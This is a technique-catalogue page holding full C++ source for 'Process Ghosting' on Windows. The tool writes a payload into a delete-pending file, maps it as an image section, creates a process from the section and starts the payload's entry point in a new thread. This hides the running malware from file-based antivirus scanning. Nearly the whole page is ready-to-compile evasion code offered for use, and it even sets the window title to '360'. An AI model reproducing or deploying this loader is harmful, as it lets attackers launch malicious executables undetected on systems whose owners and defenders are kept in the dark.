Windows C++ / Process Ghosting
Author | δΈεδΊΊη |
Platform | Windows |
Language | C++ |
Technique | Process Ghosting |
Code
/*
* Use: process_ghosting.exe x:\xxx\payload.dat x:\xxx\payload.exe
*/
#include <Windows.h>
#include <winternl.h>
#include <iostream>
#include <string>
#include <atlconv.h>
#include <UserEnv.h>
#pragma comment(lib, "Ntdll.lib")
#pragma comment(lib, "Userenv.lib")
typedef LONG KPRIORITY;
#define GDI_HANDLE_BUFFER_SIZE 34
#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
typedef struct _CURDIR
{
UNICODE_STRING DosPath;
HANDLE Handle;
} CURDIR, * PCURDIR;
typedef struct _RTL_DRIVE_LETTER_CURDIR
{
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
typedef struct _PEB_FREE_BLOCK
{
struct _PEB_FREE_BLOCK* Next;
ULONG Size;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
typedef struct _PEB_
{
BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the
BOOLEAN ReadImageFileExecOptions; //
BOOLEAN BeingDebugged; //
BOOLEAN SpareBool; //
HANDLE Mutant; // INITIAL_PEB structure is also updated.
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID KernelCallbackTable;
HANDLE SystemReserved;
PVOID AtlThunkSListPtr32;
PPEB_FREE_BLOCK FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2]; // relates to TLS_MINIMUM_AVAILABLE
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
//
// Useful information for LdrpInitialize
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
//
// Passed up from MmCreatePeb from Session Manager registry key
//
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
//
// Where heap manager keeps track of all heaps created for a process
// Fields initialized by MmCreatePeb. ProcessHeaps is initialized
// to point to the first free byte after the PEB and MaximumNumberOfHeaps
// is computed from the page size used to hold the PEB, less the fixed
// size of this data structure.
//
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID* ProcessHeaps;
//
//
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
//
// Following fields filled in by MmCreatePeb from system values and/or
// image header. These fields have changed since Windows NT 4.0,
// so use with caution
//
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
ULONG ImageProcessAffinityMask;
ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE];
} PEB_, * PPEB_;
typedef enum _FILE_INFORMATION_CLASS_
{
FileDirectoryInformation_ = 1,
FileFullDirectoryInformation, // 2
FileBothDirectoryInformation, // 3
FileBasicInformation, // 4 wdm
FileStandardInformation, // 5 wdm
FileInternalInformation, // 6
FileEaInformation, // 7
FileAccessInformation, // 8
FileNameInformation, // 9
FileRenameInformation, // 10
FileLinkInformation, // 11
FileNamesInformation, // 12
FileDispositionInformation, // 13
FilePositionInformation, // 14 wdm
FileFullEaInformation, // 15
FileModeInformation, // 16
FileAlignmentInformation, // 17
FileAllInformation, // 18
FileAllocationInformation, // 19
FileEndOfFileInformation, // 20 wdm
FileAlternateNameInformation, // 21
FileStreamInformation, // 22
FilePipeInformation, // 23
FilePipeLocalInformation, // 24
FilePipeRemoteInformation, // 25
FileMailslotQueryInformation, // 26
FileMailslotSetInformation, // 27
FileCompressionInformation, // 28
FileObjectIdInformation, // 29
FileCompletionInformation, // 30
FileMoveClusterInformation, // 31
FileQuotaInformation, // 32
FileReparsePointInformation, // 33
FileNetworkOpenInformation, // 34
FileAttributeTagInformation, // 35
FileTrackingInformation, // 36
FileIdBothDirectoryInformation, // 37
FileIdFullDirectoryInformation, // 38
FileValidDataLengthInformation, // 39
FileShortNameInformation, // 40
FileIoCompletionNotificationInformation, // 41
FileIoStatusBlockRangeInformation, // 42
FileIoPriorityHintInformation, // 43
FileSfioReserveInformation, // 44
FileSfioVolumeInformation, // 45
FileHardLinkInformation, // 46
FileProcessIdsUsingFileInformation, // 47
FileMaximumInformation // 48
} FILE_INFORMATION_CLASS_, * PFILE_INFORMATION_CLASS_;
typedef struct _FILE_DISPOSITION_INFORMATION {
BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION;
typedef struct _RTL_USER_PROCESS_PARAMETERS_
{
ULONG MaximumLength; // Should be set before call RtlCreateProcessParameters
ULONG Length; // Length of valid structure
ULONG Flags; // Currently only PPF_NORMALIZED (1) is known:
// - Means that structure is normalized by call RtlNormalizeProcessParameters
ULONG DebugFlags;
PVOID ConsoleHandle; // HWND to console window associated with process (if any).
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory; // Specified in DOS-like symbolic link path, ex: "C:/WinNT/SYSTEM32"
UNICODE_STRING DllPath; // DOS-like paths separated by ';' where system should search for DLL files.
UNICODE_STRING ImagePathName; // Full path in DOS-like format to process'es file image.
UNICODE_STRING CommandLine; // Command line
PVOID Environment; // Pointer to environment block (see RtlCreateEnvironment)
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute; // Fill attribute for console window
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo; // Name of WindowStation and Desktop objects, where process is assigned
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20];
ULONG EnvironmentSize;
} RTL_USER_PROCESS_PARAMETERS_, * PRTL_USER_PROCESS_PARAMETERS_;
typedef NTSTATUS(NTAPI* pRtlCreateProcessParametersEx)(
_Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
_In_ PUNICODE_STRING ImagePathName,
_In_opt_ PUNICODE_STRING DllPath,
_In_opt_ PUNICODE_STRING CurrentDirectory,
_In_opt_ PUNICODE_STRING CommandLine,
_In_opt_ PVOID Environment,
_In_opt_ PUNICODE_STRING WindowTitle,
_In_opt_ PUNICODE_STRING DesktopInfo,
_In_opt_ PUNICODE_STRING ShellInfo,
_In_opt_ PUNICODE_STRING RuntimeData,
_In_ ULONG Flags
);
typedef NTSTATUS(NTAPI* pNtCreateProcessEx)
(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN ULONG Flags,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN BOOLEAN InJob
);
typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN ULONG_PTR ZeroBits,
IN SIZE_T StackSize OPTIONAL,
IN SIZE_T MaximumStackSize OPTIONAL,
IN PVOID AttributeList OPTIONAL
);
typedef NTSTATUS(NTAPI* pNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
typedef NTSTATUS (NTAPI* pNtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
typedef NTSTATUS (NTAPI* pNtSetInformationFile)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass
);
static pNtCreateProcessEx NtCreateProcessEx = nullptr;
static pNtCreateThreadEx NtCreateThreadEx = nullptr;
static pNtCreateSection NtCreateSection = nullptr;
static pNtQueryInformationProcess NtQueryInformationProcess_ = nullptr;
static pNtSetInformationFile NtSetInformationFile = nullptr;
static pRtlCreateProcessParametersEx RtlCreateProcessParametersEx = nullptr;
std::wstring Str2WStr(const std::string& str)
{
try
{
USES_CONVERSION;
return A2W(str.c_str());
}
catch (const std::exception&)
{
return L"";
}
}
std::string WStr2Str(const std::wstring& wstr)
{
try
{
USES_CONVERSION;
return W2A(wstr.c_str());
}
catch (const std::exception&)
{
return "";
}
}
const bool CGetCurrentDirectory(std::string& strDirpath)
{
char szModule[1024] = { 0, };
GetModuleFileNameA(NULL, szModule, sizeof(szModule) / sizeof(char));
strDirpath = szModule;
if (0 >= strDirpath.size())
{
OutputDebugString(L"GetModuleFileNameA Error");
return 0;
}
size_t offset = strDirpath.rfind("\\");
if (0 >= offset)
{
OutputDebugString(L"GetModuleFileNameA Size < 0");
return 0;
}
strDirpath = strDirpath.substr(0, offset + 1);
return true;
}
const bool InitFunction()
{
const HMODULE hLib = LoadLibraryA("ntdll.dll");
if (hLib == nullptr) {
return false;
}
{
const FARPROC pFarProc = GetProcAddress(hLib, "NtCreateProcessEx");
if (pFarProc) {
NtCreateProcessEx = (pNtCreateProcessEx)pFarProc;
}
}
{
const FARPROC pFarProc = GetProcAddress(hLib, "NtCreateThreadEx");
if (pFarProc) {
NtCreateThreadEx = (pNtCreateThreadEx)pFarProc;
}
}
{
const FARPROC pFarProc = GetProcAddress(hLib, "NtCreateSection");
if (pFarProc) {
NtCreateSection = (pNtCreateSection)pFarProc;
}
}
{
const FARPROC pFarProc = GetProcAddress(hLib, "NtQueryInformationProcess");
if (pFarProc) {
NtQueryInformationProcess_ = (pNtQueryInformationProcess)pFarProc;
}
}
{
const FARPROC pFarProc = GetProcAddress(hLib, "NtSetInformationFile");
if (pFarProc) {
NtSetInformationFile = (pNtSetInformationFile)pFarProc;
}
}
{
const FARPROC pFarProc = GetProcAddress(hLib, "RtlCreateProcessParametersEx");
if (pFarProc) {
RtlCreateProcessParametersEx = (pRtlCreateProcessParametersEx)pFarProc;
}
}
if (!NtCreateProcessEx || !NtCreateThreadEx || !NtCreateSection || \
!NtQueryInformationProcess_ || !NtSetInformationFile || !RtlCreateProcessParametersEx)
return false;
return true;
}
const DWORD ReadPayLoadData(const std::string& strFullPath, char*& strReadBuf)
{
bool bRet = false;
HANDLE hFile = NULL;
DWORD dwSize = 0;
hFile = CreateFileA(strFullPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
do
{
if (hFile == INVALID_HANDLE_VALUE)
break;
dwSize = GetFileSize(hFile, &dwSize);
strReadBuf = new char[dwSize + 1];
if (!strReadBuf)
break;
RtlSecureZeroMemory(strReadBuf, dwSize + 1);
bRet = true;
} while (false);
if (hFile) {
ReadFile(hFile, strReadBuf, dwSize, &dwSize, NULL);
CloseHandle(hFile);
}
return dwSize;
}
const bool GetProcessPeb(HANDLE hProcess, OUT PEB_& peb, PROCESS_BASIC_INFORMATION& pbi)
{
bool bSuc = false;
HANDLE hNewDup = nullptr;
if (DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hNewDup, 0, FALSE, DUPLICATE_SAME_ACCESS))
{
const NTSTATUS nRet = NtQueryInformationProcess_(hNewDup, ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
if (BCRYPT_SUCCESS(nRet)) {
if (ReadProcessMemory(hNewDup, pbi.PebBaseAddress, &peb, sizeof(PEB_), 0))
{
bSuc = true;
//if (ReadProcessMemory(hNewDup, peb.ProcessParameters, &rups, sizeof(RTL_USER_PROCESS_PARAMETERS), 0))
// bSuc = true;
//else
// std::cerr << "[-] Peb ProcessParameters Failuer" << std::endl;
}
else
std::cerr << "[-] Peb ReadProcessMemory Failuer" << std::endl;
}
else
std::cerr << "[-] Peb NtQueryInformationProcess Failuer" << std::endl;
CloseHandle(hNewDup);
}
return bSuc;
}
const ULONGLONG GetEntryPointRva(char*& pData)
{
try
{
PIMAGE_DOS_HEADER pDosHander = (PIMAGE_DOS_HEADER)pData;
#ifdef _WIN64
PIMAGE_NT_HEADERS pHeadres = (PIMAGE_NT_HEADERS)(pDosHander->e_lfanew + (DWORD64)pData);
#else
PIMAGE_NT_HEADERS pHeadres = (PIMAGE_NT_HEADERS)(pDosHander->e_lfanew + (LONG)pData);
#endif
if(pHeadres)
return pHeadres->OptionalHeader.AddressOfEntryPoint;
return 0;
}
catch (const std::exception&)
{
return 0;
}
}
LPVOID const WriteParamsProcess(const HANDLE& hProcess, const PRTL_USER_PROCESS_PARAMETERS_& params, DWORD protect)
{
if (!hProcess || !params)
return nullptr;
PVOID buffer = params;
ULONG_PTR buffer_end = (ULONG_PTR)params + params->Length;
//params and environment in one space:
if (params->Environment) {
if ((ULONG_PTR)params > (ULONG_PTR)params->Environment) {
buffer = (PVOID)params->Environment;
}
ULONG_PTR env_end = (ULONG_PTR)params->Environment + params->EnvironmentSize;
if (env_end > buffer_end) {
buffer_end = env_end;
}
}
// copy the continuous area containing parameters + environment
SIZE_T buffer_size = buffer_end - (ULONG_PTR)buffer;
if (VirtualAllocEx(hProcess, buffer, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
if (!WriteProcessMemory(hProcess, (LPVOID)params, (LPVOID)params, params->Length, NULL)) {
std::cerr << "Writing RemoteProcessParams failed" << std::endl;
return nullptr;
}
if (params->Environment) {
if (!WriteProcessMemory(hProcess, (LPVOID)params->Environment, (LPVOID)params->Environment, params->EnvironmentSize, NULL)) {
std::cerr << "Writing environment failed" << std::endl;
return nullptr;
}
}
return (LPVOID)params;
}
// could not copy the continuous space, try to fill it as separate chunks:
if (!VirtualAllocEx(hProcess, (LPVOID)params, params->Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
std::cerr << "Allocating RemoteProcessParams failed" << std::endl;
return nullptr;
}
if (!WriteProcessMemory(hProcess, (LPVOID)params, (LPVOID)params, params->Length, NULL)) {
std::cerr << "Writing RemoteProcessParams failed" << std::endl;
return nullptr;
}
if (params->Environment) {
if (!VirtualAllocEx(hProcess, (LPVOID)params->Environment, params->EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
std::cerr << "Allocating environment failed" << std::endl;
return nullptr;
}
if (!WriteProcessMemory(hProcess, (LPVOID)params->Environment, (LPVOID)params->Environment, params->EnvironmentSize, NULL)) {
std::cerr << "Writing environment failed" << std::endl;
return nullptr;
}
}
return (LPVOID)params;
}
const bool SetProcessParameter(const HANDLE& hProcess, const std::string& targetPath, const ULONGLONG uPebBaseAddr)
{
// Set Process Parameter
const std::wstring wTarGetPath = Str2WStr(targetPath).c_str();
UNICODE_STRING uTargetPath = { 0 };
RtlInitUnicodeString(&uTargetPath, wTarGetPath.c_str());
std::wstring::size_type wStrType = wTarGetPath.find_last_of('\\');
if (wStrType == std::wstring::npos)
return false;
std::wstring wstrTarGetCurrentDir = wTarGetPath.substr(0, wStrType);
if (wstrTarGetCurrentDir.empty())
return false;
UNICODE_STRING uTGetCurrentDir = { 0 };
RtlInitUnicodeString(&uTGetCurrentDir, wstrTarGetCurrentDir.c_str());
const wchar_t dllDir[] = L"C:\\Windows\\System32";
UNICODE_STRING uDllDir = { 0 };
RtlInitUnicodeString(&uDllDir, dllDir);
UNICODE_STRING uWindowName = { 0 };
const wchar_t* windowName = (LPWSTR)L"360";
RtlInitUnicodeString(&uWindowName, windowName);
LPVOID environment;
CreateEnvironmentBlock(&environment, NULL, TRUE);
PRTL_USER_PROCESS_PARAMETERS_ params = nullptr;
NTSTATUS nStu = RtlCreateProcessParametersEx(
(PRTL_USER_PROCESS_PARAMETERS*)(¶ms),
(PUNICODE_STRING)&uTargetPath,
(PUNICODE_STRING)&uDllDir,
(PUNICODE_STRING)&uTGetCurrentDir,
(PUNICODE_STRING)&uTargetPath,
environment,
(PUNICODE_STRING)&uWindowName,
nullptr,
nullptr,
nullptr,
RTL_USER_PROC_PARAMS_NORMALIZED
);
if (!NT_SUCCESS(nStu)) {
std::cerr << "[-] RtlCreateProcessParametersEx failed" << std::endl;
return false;
}
LPVOID pRemoteParams = WriteParamsProcess(hProcess, params, PAGE_READWRITE);
if (!pRemoteParams) {
std::cout << "[-] Cannot make a remote copy of parameters: " << GetLastError() << std::endl;
return false;
}
// Set Params In Peb
{
// Get access to the remote PEB:
ULONGLONG remote_peb_addr = uPebBaseAddr;
if (!remote_peb_addr) {
std::cerr << "[-] Failed getting remote PEB address!" << std::endl;
return false;
}
PEB peb_copy = { 0 };
ULONGLONG offset = (ULONGLONG)&peb_copy.ProcessParameters - (ULONGLONG)&peb_copy;
// Calculate offset of the parameters
LPVOID remote_img_base = (LPVOID)(remote_peb_addr + offset);
//Write parameters address into PEB:
SIZE_T written = 0;
if (!WriteProcessMemory(hProcess, remote_img_base,
&pRemoteParams, sizeof(PVOID),
&written))
{
std::cout << "[-] Cannot update Params!" << std::endl;
return false;
}
return true;
}
}
int main(int argc, char* argv[])
{
if (argc < 3) {
std::cout << "[-] Parameter Path Error..." << std::endl;
return 0;
}
const std::string sPayLoadPath = argv[1];
if (sPayLoadPath.empty()) {
std::cout << "[-] Parameter PayLoad Path Error..." << std::endl;
return 0;
}
const std::string sTargetPath = argv[2];
if (sTargetPath.empty()) {
std::cout << "[-] Parameter Target Path Error..." << std::endl;
return 0;
}
// Read Payload to BufData
char* pPayLoadData = nullptr;
const DWORD dwDataSize = ReadPayLoadData(sPayLoadPath, pPayLoadData);
if (!pPayLoadData) {
std::cout << "[-] Read Payload Data Failuer, Path: " << sPayLoadPath.c_str() << std::endl;
return 0;
}
std::cout << "[+] Read Payload Data Success, Path: " << sPayLoadPath.c_str() << std::endl;
if (!InitFunction()) {
std::cout << "[-] Init Function Failuer, Path: " << std::endl;
return 0;
}
// 1. Create New File
HANDLE hFile = CreateFileA(
sTargetPath.c_str(),
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE,
NULL);
if (INVALID_HANDLE_VALUE == hFile || !hFile) {
std::cout << "[-] Create New TargetPath File Failuer, Path: " << sTargetPath.c_str() << std::endl;
return 0;
}
HANDLE hSection = nullptr;
HANDLE hProcess = nullptr;
do
{
// Set FileAttr Delete on Close FILE_FLAG_DELETE_ON_CLOSE
IO_STATUS_BLOCK status_block = { 0 };
FILE_DISPOSITION_INFORMATION info = { 0 };
info.DeleteFile = TRUE;
NTSTATUS hStu = NtSetInformationFile(hFile, &status_block, &info, sizeof(info), (FILE_INFORMATION_CLASS)FileDispositionInformation);
if (!NT_SUCCESS(hStu)) {
std::cout << "[-] SetInformationFile Delete Failuer, Path: " << sTargetPath.c_str() << std::endl;
break;
}
// 3. Write Data Flush
DWORD dWriteLens = 0;
OVERLAPPED overped = { 0, };
WriteFile(hFile, pPayLoadData, dwDataSize, &dWriteLens, &overped);
FlushFileBuffers(hFile);
// 4. Craete Section
hStu = NtCreateSection(&hSection,
SECTION_ALL_ACCESS,
NULL,
0,
PAGE_READONLY,
SEC_IMAGE,
hFile
);
if (!NT_SUCCESS(hStu) || !hSection) {
std::cout << "[-] CreateSection Failuer, Path: " << sTargetPath.c_str() << std::endl;
break;
}
std::cout << "[+] CreateSection Success, Path: " << sTargetPath.c_str() << std::endl;
// 5. Close File Handle -- File Mark Delete & Delete
if (hFile) {
CloseHandle(hFile);
hFile = NULL;
}
// 6. CreateProcessEx
hStu = NtCreateProcessEx(
&hProcess,
PROCESS_ALL_ACCESS,
NULL,
GetCurrentProcess(),
4,// PS_INHERIT_HANDLES
hSection,
NULL,
NULL,
FALSE
);
if (!NT_SUCCESS(hStu) || !hProcess) {
std::cout << "[-] CreateProcess Failuer, Path: " << sTargetPath.c_str() << std::endl;
break;
}
std::cout << "[+] CreateProcess Success, Path: " << sTargetPath.c_str() << std::endl;
// 7. Get Pe ImageBase pEntry
PEB_ pebData = { 0 }; PROCESS_BASIC_INFORMATION pbi = { 0, };
if (!GetProcessPeb(hProcess, pebData, pbi)) {
std::cout << "[-] Get ProcessPeb Failuer, Handle: " << hProcess << std::endl;
break;
}
ULONGLONG uImageBaseAddr = (ULONGLONG)pebData.ImageBaseAddress;
std::cout << "[+] Get Process ImageBase Success, Handle: " << hProcess << " ImageBaseAddr: " << uImageBaseAddr << std::endl;
// Get File Oep
ULONGLONG procEntry = 0;
const ULONGLONG dwPayLoadEp = GetEntryPointRva(pPayLoadData);
if (dwPayLoadEp) {
procEntry = dwPayLoadEp + uImageBaseAddr;
}
else {
std::cout << "[-] Get PE Rva Failuer, Handle: " << hProcess << std::endl;
break;
}
std::cout << "[+] Get OEP Success, Handle: " << hProcess << " OEPAddr: " << procEntry << std::endl;
// Create
if (!SetProcessParameter(hProcess, sTargetPath, (ULONGLONG)pbi.PebBaseAddress)) {
std::cout << "[-] Set Process Parameter Failuer, Handle: " << hProcess << std::endl;
}
// 8. CreateThread ImageBase
HANDLE hThread = NULL;
hStu = NtCreateThreadEx(&hThread,
THREAD_ALL_ACCESS,
NULL,
hProcess,
(LPTHREAD_START_ROUTINE)procEntry,
NULL,
FALSE,
0,
0,
0,
NULL
);
if (!NT_SUCCESS(hStu)) {
std::cout << "[-] CreateThread Pointer Pe Runing Failuer, Handle: " << hProcess << std::endl;
break;
}
std::cout << "[+] CreateThread Runing Success, Handle " << hProcess << " Tid: " << hThread << std::endl;
} while (false);
// clear
if (pPayLoadData) {
delete[] pPayLoadData; pPayLoadData = nullptr;
}
if (hSection) {
CloseHandle(hSection);
hSection = NULL;
}
if (hFile) {
CloseHandle(hFile);
hFile = NULL;
}
if (hProcess) {
CloseHandle(hProcess);
hProcess = NULL;
}
return 0;
}
Created
July 3, 2023
Last Revised
April 22, 2024